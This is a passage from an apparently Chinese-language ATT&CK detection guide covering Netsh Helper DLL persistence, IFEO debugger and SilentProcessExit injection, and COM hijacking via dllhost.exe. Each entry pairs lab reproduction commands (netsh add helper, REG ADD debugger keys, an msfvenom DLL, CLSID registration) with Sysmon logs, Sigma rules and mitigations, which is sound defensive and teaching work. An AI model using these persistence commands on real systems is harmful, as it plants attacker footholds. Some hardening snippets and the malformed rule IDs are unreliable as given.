C:\Windows\System32\malicious.dll ``` 2. **注册Netsh Helper DLL** - 使用`netsh`添加Helper: ```cmd netsh add helper C:\Windows\System32\malicious.dll ``` - 验证注册表: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Netsh" ``` 3. **触发执行** - 运行Netsh命令: ```cmd netsh interface show interface ``` - 观察DLL是否加载(如弹出消息框)。 4. **验证结果** - 检查注册表: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Netsh" | Select-Object malicious ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "netsh.exe" } ``` - **Sysmon日志(事件ID 13)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "Netsh" } ``` 5. **清理** - 删除注册表键: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Netsh" /v malicious /f ``` - 删除DLL: ```cmd del C:\Windows\System32\malicious.dll ``` ### 示例输出 ```cmd netsh add helper C:\Windows\System32\malicious.dll OK netsh interface show interface <触发DLL执行,可能弹出消息框> reg delete "HKLM\SOFTWARE\Microsoft\Netsh" /v malicious /f The operation completed successfully. ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\netsh.exe TargetObject: HKLM\SOFTWARE\Microsoft\Netsh\malicious Details: C:\Windows\System32\malicious.dll User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 1234 Image: C:\Windows\System32\netsh.exe CommandLine: netsh add helper C:\Windows\System32\malicious.dll ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator IntegrityLevel: High ``` - **Sysmon日志(事件ID 7,DLL加载)**: ```plaintext EventID: 7 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\netsh.exe ImageLoaded: C:\Windows\System32\malicious.dll User: CONTOSO\Administrator ``` - **注册表项**: ```plaintext HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Netsh Name: malicious Type: REG_SZ Data: C:\Windows\System32\malicious.dll ``` ## 检测规则/思路 **检测规则** 通过监控注册表修改、DLL加载和`netsh.exe`执行日志,检测Netsh Helper DLL的异常注册及使用。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKLM\SOFTWARE\Microsoft\Netsh`的修改。 - 监控Sysmon事件ID 1,检测`netsh.exe`执行`add helper`命令。 - 监控Sysmon事件ID 7,检测`netsh.exe`加载的异常DLL。 - 监控Sysmon事件ID 11,检测DLL文件的创建(如`C:\Windows\System32\malicious.dll`)。 - 监控Windows安全日志事件ID 4688,检测`netsh.exe`或`reg.exe`的异常使用。 2. **Sigma规则(Netsh Helper DLL注册表修改)**: ```yaml title: Netsh Helper DLL注册表修改检测 id: l34567890-abcd123456-xyz789012345 status: stable description: 检测Netsh Helper DLL的注册表修改,可能用于持久化恶意代码 date: 2020/11/29 references: - https://attack.mitre.org/techniques/T1546/007/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.007/T1546.007.md - https://www.cnblogs.com/xiaozi/p/11834533.html tags: - attack.persistence - attack.t1546.007 - attack.t1112 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: '\SOFTWARE\Microsoft\Netsh' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 合法Netsh Helper DLL注册(如VPN软件) level: high ``` 3. **Sigma规则(Netsh Helper DLL执行)**: ```yaml title: Netsh Helper DLL注册执行检测 id: m45678901-abcd234567-abc890123456 status: experimental description: 检测netsh.exe执行add helper命令,可能注册恶意DLL logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\netsh.exe' CommandLine|contains: 'add helper' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法网络管理操作 level: high ``` 4. **SIEM规则**: - 检测Netsh Helper DLL注册及执行。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject="*SOFTWARE\Microsoft\Netsh*") OR (EventID=1 Image="*netsh.exe" CommandLine="*add helper*") OR (EventID=7 ImageLoaded="*.dll" Image="*netsh.exe")) | stats count by Image, CommandLine, TargetObject, ImageLoaded, User, ComputerName ``` 5. **注册表监控**: - 检查Netsh Helper配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Netsh" ``` 6. **工具支持**: - 使用Sysinternals Autoruns检查Netsh Helper DLL: ```cmd autoruns -a | findstr "Netsh" ``` - 使用Process Monitor捕获实时注册表和DLL加载活动。 7. **威胁情报整合**: - 检查DLL文件哈希或路径是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御Netsh Helper DLL攻击需从注册表保护、DLL监控和权限管理入手: 1. **锁定注册表键** - 限制`HKLM\SOFTWARE\Microsoft\Netsh`的写权限: ```powershell $acl = Get-Acl "HKLM:\SOFTWARE\Microsoft\Netsh" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SOFTWARE\Microsoft\Netsh" -AclObject $acl ``` 2. **限制netsh命令使用** - 使用AppLocker限制非管理员执行`netsh.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\netsh.exe" -Action Deny -User "Everyone" ``` 3. **白名单DLL** - 仅允许系统默认Netsh Helper DLL: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Netsh" | Where-Object { $_.PSChildName -notmatch "^(interface|firewall|advfirewall|http|ras|wlan)$" } ``` 4. **加强权限管理** - 限制非管理员用户修改System32目录: ```powershell icacls "C:\Windows\System32" /deny "Users:(W)" ``` 5. **日志和监控** - 启用Sysmon事件ID 1、7、11、13,检测Netsh相关活动。 - 配置SIEM监控Netsh Helper DLL注册及加载。 - 使用EDR工具检测异常DLL行为。 6. **定期审计** - 检查Netsh Helper配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Netsh" ``` - 审计System32目录中的DLL文件: ```powershell Get-ChildItem -Path "C:\Windows\System32" -Filter "*.dll" | Where-Object { $_.CreationTime -gt (Get-Date).AddDays(-7) } ``` ## 参考推荐 - MITRE ATT&CK: T1546.007 - Atomic Red Team: T1546.007 - Window权限维持(十):Netsh Helper DLL - EQlib Analytics: Netsh Helper DLL ================================================ FILE: Windows/05持久化/T1546.012-Win-事件触发执行-图片文件执行选项注入.md ================================================ # T1546-012-Win-事件触发执行-图片文件执行选项注入 ## 描述 攻击者可能通过修改图像文件执行选项(Image File Execution Options, IFEO)注册表键实现持久化或权限提升(T1546.012)。IFEO允许开发人员为特定可执行文件配置调试器或监控程序,存储在注册表`HKLM\SOFTWARE[\Wow6432Node]\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\`中。攻击者可滥用IFEO的`Debugger`或`SilentProcessExit`功能,将恶意程序设置为目标程序的调试器或退出监控程序,从而在目标程序启动或终止时触发恶意代码。 IFEO攻击可用于: - **持久化**:每次目标程序运行时触发恶意程序。 - **权限提升**:以目标程序的权限(如SYSTEM)执行恶意代码(如`utilman.exe`调试器)。 - **防御规避**:通过无效调试器禁用安全工具(如杀毒软件)。 攻击者常选择高频运行的系统程序(如`calc.exe`、`notepad.exe`)或可访问性程序(如`utilman.exe`)作为目标,结合伪装为合法调试器(如`cmd.exe`)提升隐蔽性。检测重点在于监控IFEO注册表修改、异常调试器执行及目标程序的进程行为。 ## 测试案例 1. **IFEO Debugger注入** 攻击者将`cmd.exe`配置为`calc.exe`的调试器,每次启动计算器时运行命令提示符。 2. **IFEO Silent Process Exit监控** 攻击者为`notepad.exe`配置退出监控程序(如`cmd.exe`),在记事本关闭时触发恶意代码。 3. **权限提升** 攻击者将`cmd.exe`配置为`utilman.exe`的调试器,在登录屏幕触发SYSTEM权限命令提示符。 ### 示例命令 #### 测试1:IFEO Add Debugger - **攻击命令**(需管理员权限): ```cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe" ``` - **目标程序**:`C:\Windows\System32\calc.exe` - **恶意程序**:`C:\Windows\System32\cmd.exe` - **清理命令**: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /f >nul 2>&1 ``` #### 测试2:IFEO Global Flags - **攻击命令**(需管理员权限): ```cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe" ``` - **目标程序**:`C:\Windows\System32\notepad.exe` - **恶意程序**:`C:\Windows\System32\cmd.exe` - **清理命令**: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /f >nul 2>&1 ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`reg.exe`或目标程序(如`calc.exe`)的进程创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`reg.exe`或调试器程序(如`cmd.exe`)的命令行参数。 - **事件ID 7**:记录调试器或监控程序加载的模块(如DLL)。 - **事件ID 13**:记录注册表修改,如`Image File Execution Options`或`SilentProcessExit`键的更改。 - **事件ID 11**:记录恶意程序文件的创建或写入。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程和模块监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:管理员权限(修改IFEO注册表需提升权限)。 - **工具**:`reg.exe`(系统自带)、Sysmon、测试用程序(如`cmd.exe`)。 - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 #### 测试1:IFEO Add Debugger 1. **配置调试器** - 注册`cmd.exe`为`calc.exe`的调试器: ```cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe" ``` 2. **触发执行** - 运行计算器: ```cmd calc.exe ``` - 观察`cmd.exe`是否启动。 3. **验证结果** - 检查注册表: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" -Name Debugger ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "reg.exe|calc.exe|cmd.exe" } ``` - **Sysmon日志(事件ID 13)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "Image File Execution Options" } ``` 4. **清理** - 删除调试器配置: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /f >nul 2>&1 ``` #### 测试2:IFEO Global Flags 1. **配置退出监控** - 设置`notepad.exe`的GlobalFlag和SilentProcessExit: ```cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe" ``` 2. **触发执行** - 运行并关闭记事本: ```cmd notepad.exe taskkill /IM notepad.exe /F ``` - 观察`cmd.exe`是否启动。 3. **验证结果** - 检查注册表: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" -Name MonitorProcess ``` - 检查日志: - **Sysmon日志(事件ID 13)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "SilentProcessExit" } ``` 4. **清理** - 删除配置: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /f >nul 2>&1 ``` ### 示例输出 #### 测试1 ```cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe" 操作成功完成。 calc.exe reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /f >nul 2>&1 ``` #### 测试2 ```cmd REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 操作成功完成。 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 操作成功完成。 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe" 操作成功完成。 notepad.exe taskkill /IM notepad.exe /F reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /f >nul 2>&1 ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 #### 测试1:IFEO Add Debugger - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 RuleName: technique_id=T1112,technique_name=Modify Registry UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 3704 Image: C:\Windows\System32\reg.exe CommandLine: REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe" ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator IntegrityLevel: High Hashes: SHA256=19316D4266D0B776D9B2A05D5903D8CBC8F0EA1520E9C2A7E6D5960B6FA4DCAF ``` - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection EventType: SetValue UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 3704 Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe\Debugger Details: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 1,调试器执行)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac} ProcessId: 1235 Image: C:\Windows\System32\cmd.exe CommandLine: C:\Windows\System32\cmd.exe ParentImage: C:\Windows\System32\calc.exe User: CONTOSO\Administrator ``` #### 测试2:IFEO Global Flags - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 RuleName: technique_id=T1546.012,technique_name=Image File Execution Options Injection EventType: SetValue UtcTime: 2025-06-10 03:00:00.456 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ad} ProcessId: 6828 Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe\GlobalFlag Details: DWORD (0x00000200) User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 13,SilentProcessExit)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.567 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ad} ProcessId: 6828 Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe\MonitorProcess Details: C:\Windows\System32\cmd.exe User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 1,监控程序执行)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.678 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ae} ProcessId: 1236 Image: C:\Windows\System32\cmd.exe CommandLine: C:\Windows\System32\cmd.exe ParentImage: C:\Windows\System32\ntoskrnl.exe User: NT AUTHORITY\SYSTEM ``` ## 检测规则/思路 **检测规则** 通过监控注册表修改、进程创建和模块加载日志,检测IFEO的异常配置及恶意行为。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 13,检测`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`或`SilentProcessExit`的修改。 - 监控Sysmon事件ID 1,检测`reg.exe`或调试器程序(如`cmd.exe`)的异常执行。 - 监控Sysmon事件ID 7,检测目标程序加载的异常模块。 - 监控Windows安全日志事件ID 4688,检测`reg.exe`或目标程序的异常进程创建。 - 检查调试器执行的进程调用树,识别异常父/子进程关系(如`cmd.exe`启动`calc.exe`)。 2. **Sigma规则(IFEO Debugger 配置)**: ```yaml title: IFEO Debugger 配置检测 id: n123456789-abcd-1234-5678-abcdef012345 status: stable description: 检测IFEO中为程序配置的调试器,可能用于持久化或操作 references: - https://attack.mitre.org/techniques/T1546/012/ - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.012/T1546.012.md tags: - attack.persistence - attack.privilege_escalation - attack.t1546.012 - attack.t1112 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: '\Image File Execution Options\*\Debugger' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 合法调试工具配置(如Visual Studio) - 第三方软件安装 level: high ``` 3. **Sigma规则(IFEO Silent Process Exit 配置)**: ```yaml title: IFEO Silent Process Exit 配置检测 id: o234567890-abcd-2345-6789-abcdef123456 status: experimental description: 检测IFEO Silent Process Exit中配置的监控程序,可能用于持久化或权限提升 logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject|contains: '\SilentProcessExit\*\MonitorProcess' condition: selection fields: - TargetObject - Details - Image - User falsepositives: - 合法系统监控工具 level: high ``` 4. **Sigma规则(IFEO 异常调试器执行)**: ```yaml title: IFEO 异常调试器进程执行 id: p345678901-abcd-3456-7890-abcdef234567 status: experimental description: 检测IFEO配置的调试器程序异常执行 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: - '\cmd.exe' - '\powershell.exe' - '\wscript.exe' - '\cscript.exe' ParentImage|endswith: - '\calc.exe' - '\notepad.exe' - '\utilman.exe' - '\sethc.exe' condition: selection fields: - Image - ParentImage - CommandLine - User falsepositives: - 合法调试场景 level: high ``` 5. **SIEM规则**: - 检测IFEO配置及异常执行。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventID=13 TargetObject IN ("*Image File Execution Options*\Debugger*","*SilentProcessExit*\MonitorProcess*")) OR (EventID=1 Image IN ("*cmd.exe","*powershell.exe") ParentImage IN ("*calc.exe","*notepad.exe","*utilman.exe"))) | stats count by Image, CommandLine, TargetObject, ParentImage, User, ComputerName ``` 6. **注册表监控**: - 检查IFEO配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" -Name Debugger -ErrorAction SilentlyContinue ``` - 检查SilentProcessExit配置: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\*" -Name MonitorProcess -ErrorAction SilentlyContinue ``` 7. **工具支持**: - 使用Sysinternals Autoruns检查IFEO注册表键: ```cmd autoruns -a | findstr "Image File Execution Options" ``` - 使用Process Monitor捕获实时注册表和进程活动。 8. **威胁情报整合**: - 检查调试器或监控程序的哈希是否与已知恶意样本匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御IFEO注入攻击需从注册表保护、进程监控和权限管理入手: 1. **锁定注册表键** - 限制`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`和`SilentProcessExit`的写权限: ```powershell $acl = Get-Acl "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" $acl.SetAccessRuleProtection($true, $false) Set-Acl -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" -AclObject $acl ``` 2. **限制reg命令使用** - 使用AppLocker限制非管理员执行`reg.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "C:\Windows\System32\reg.exe" -Action Deny -User "Everyone" ``` 3. **白名单调试器** - 定期审计IFEO配置,确保仅允许可信调试器(如`ntsd.exe`): ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\*" -Name Debugger | Where-Object { $_.Debugger -notmatch "ntsd.exe|vsjitdebugger.exe" } ``` 4. **加强权限管理** - 限制非管理员用户修改注册表: ```powershell icacls "C:\Windows\System32\reg.exe" /deny "Users:(X)" ``` 5. **日志和监控** - 启用Sysmon事件ID 1、7、13,检测IFEO注册表修改和调试器执行。 - 配置SIEM监控IFEO相关事件。 - 使用EDR工具检测异常进程关系(如`cmd.exe`调试`calc.exe`)。 6. **定期审计** - 检查IFEO配置: ```powershell Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | Get-ItemProperty -Name Debugger -ErrorAction SilentlyContinue ``` - 检查SilentProcessExit配置: ```powershell Get-ChildItem -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit" | Get-ItemProperty -Name MonitorProcess -ErrorAction SilentlyContinue ``` ## 参考推荐 - MITRE ATT&CK: T1546.012 - Atomic Red Team: T1546.012 ================================================ FILE: Windows/05持久化/T1546.015-Win-组件对象模型劫持-Dllhost.exe(白名单).md ================================================ # T1546-015-Win-组件对象模型劫持-Dllhost.exe ## 描述 攻击者通过劫持Windows组件对象模型(COM)对象的注册表引用,插入恶意代码以实现持久化(T1546.015)。COM是Windows用于组件间交互的核心机制,相关引用存储在注册表(如`HKLM\SOFTWARE\Classes\CLSID`或`HKCU\SOFTWARE\Classes\CLSID`)。攻击者可修改COM对象的`InProcServer32`或`LocalServer32`键,替换合法DLL或可执行文件路径为恶意负载,当系统或应用程序调用该COM对象时触发恶意代码。 **Dllhost.exe**(位于`C:\Windows\System32\`或`C:\Windows\SysWOW64\`)是COM代理进程,负责托管COM服务器(如DLL)。攻击者可通过注册或劫持COM对象的CLSID(类标识符),利用`dllhost.exe /Processid:{CLSID}`加载恶意DLL,伪装为合法COM操作。攻击通常针对高频调用的COM对象以保持持久性,同时避免明显功能异常以降低检测风险。检测重点在于监控COM注册表修改、异常`dllhost.exe`网络活动及加载的非预期DLL。 ## 测试案例 1. **劫持COM对象加载恶意DLL** 攻击者修改COM对象的注册表键,指向恶意DLL,由`dllhost.exe`加载。 2. **通过CLSID直接触发** 攻击者使用`dllhost.exe /Processid:{CLSID}`执行已注册或劫持的COM服务器。 3. **伪装合法COM调用** 攻击者选择常用COM对象(如ShellWindows),替换其服务器路径以隐藏恶意行为。 ### 示例命令 - **触发COM对象**(用户权限): ```cmd dllhost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7} ``` - **用例**:执行指定CLSID的COM服务器,可能加载恶意DLL。 - **所需权限**:用户权限。 - **操作系统**:Windows 10及更早版本。 - **注册恶意COM对象**(需管理员权限): ```cmd reg add "HKLM\SOFTWARE\Classes\CLSID\{12345678-1234-1234-1234-1234567890AB}\InProcServer32" /ve /d "C:\Malicious\evil.dll" /f ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录`dllhost.exe`或`reg.exe`的进程创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含`dllhost.exe`的命令行参数(如`/Processid:{CLSID}`)。 - **事件ID 3**:记录`dllhost.exe`的网络连接,检测异常公网通信。 - **事件ID 7**:记录`dllhost.exe`加载的DLL,识别非预期模块。 - **事件ID 13**:记录COM注册表修改,如`HKLM\SOFTWARE\Classes\CLSID`。 **配置日志记录** - 启用注册表审核:`计算机配置 > 策略 > Windows设置 > 安全设置 > 高级审核策略配置 > 对象访问 > 审核注册表`。 - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon以增强注册表、进程、网络和模块监控。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10或Windows Server 2012+。 - **权限**:用户权限(触发COM对象)或管理员权限(注册COM对象)。 - **工具**:`dllhost.exe`(系统自带)、测试用DLL(如`msfvenom`生成)、Sysmon、注册表编辑器。 - **测试DLL**:生成简单DLL: ```bash msfvenom -p windows/x64/messagebox TEXT="COM Hijack Test" -f dll -o evil.dll ``` - **日志**:启用Windows安全日志和Sysmon。 ### 攻击步骤 1. **创建恶意DLL** - 复制测试DLL到可控路径: ```cmd copy evil.dll C:\Malicious\evil.dll ``` 2. **注册恶意COM对象** - 创建CLSID并配置`InProcServer32`: ```cmd reg add "HKLM\SOFTWARE\Classes\CLSID\{12345678-1234-1234-1234-1234567890AB}\InProcServer32" /ve /d "C:\Malicious\evil.dll" /f reg add "HKLM\SOFTWARE\Classes\CLSID\{12345678-1234-1234-1234-1234567890AB}\InProcServer32" /v ThreadingModel /d Apartment /f ``` 3. **触发COM对象** - 使用`dllhost.exe`加载: ```cmd dllhost.exe /Processid:{12345678-1234-1234-1234-1234567890AB} ``` - 观察DLL是否执行(如弹出消息框)。 4. **验证结果** - 检查注册表: ```powershell Get-ItemProperty -Path "HKLM:\SOFTWARE\Classes\CLSID\{12345678-1234-1234-1234-1234567890AB}\InProcServer32" ``` - 检查日志: - **Windows安全日志(事件ID 4688)**: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "dllhost.exe" } ``` - **Sysmon日志(事件ID 13)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 13 -and $_.Message -match "CLSID" } ``` - **Sysmon日志(事件ID 7)**: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 7 -and $_.Message -match "evil.dll" } ``` 5. **清理** - 删除注册表键: ```cmd reg delete "HKLM\SOFTWARE\Classes\CLSID\{12345678-1234-1234-1234-1234567890AB}" /f ``` - 删除DLL: ```cmd del C:\Malicious\evil.dll ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 测试留痕 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 1234 Image: C:\Windows\System32\dllhost.exe CommandLine: dllhost.exe /Processid:{12345678-1234-1234-1234-1234567890AB} ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 7,DLL加载)**: ```plaintext EventID: 7 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\dllhost.exe ImageLoaded: C:\Malicious\evil.dll Hashes: SHA256=ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1234567890 User: CONTOSO\User ``` - **Sysmon日志(事件ID 13,注册表修改)**: ```plaintext EventID: 13 EventType: SetValue UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ac} Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SOFTWARE\Classes\CLSID\{12345678-1234-1234-1234-1234567890AB}\InProcServer32 Details: C:\Malicious\evil.dll User: CONTOSO\Administrator ``` - **Sysmon日志(事件ID 3,网络连接,异常情况)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.456 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\dllhost.exe DestinationIp: 203.0.113.1 DestinationPort: 443 User: CONTOSO\User ``` ## 检测规则/思路 **检测规则** 